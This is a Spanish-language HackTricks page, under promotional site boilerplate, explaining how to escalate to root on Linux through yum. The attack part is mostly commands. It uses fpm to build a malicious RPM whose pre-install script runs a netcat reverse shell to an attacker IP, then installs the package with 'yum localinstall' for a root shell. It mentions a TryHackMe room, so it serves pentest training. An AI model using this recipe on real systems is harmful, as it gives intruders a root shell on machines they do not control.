3.2 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén la oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
También se pueden encontrar más ejemplos sobre yum en gtfobins.
Ejecución de comandos arbitrarios a través de paquetes RPM
Comprobando el entorno
Para aprovechar este vector, el usuario debe ser capaz de ejecutar comandos yum como un usuario con privilegios más altos, es decir, root.
Un ejemplo de trabajo de este vector
Se puede encontrar un ejemplo de trabajo de esta explotación en la sala daily bugle en tryhackme.
Empaquetando un RPM
En la siguiente sección, cubriré cómo empaquetar una shell inversa en un RPM usando fpm.
El siguiente ejemplo crea un paquete que incluye un disparador de antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He utilizado un ejemplo simple de shell inversa de netcat para la demostración, pero esto puede ser cambiado según sea necesario.
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
Obteniendo una shell
Usando el ejemplo anterior y asumiendo que yum
puede ser ejecutado como un usuario con mayores privilegios.
- Transfiere el rpm al host
- Inicia un listener en tu host local, como el ejemplo de listener netcat
- Instala el paquete vulnerable
yum localinstall -y exploited-1.0-1.noarch.rpm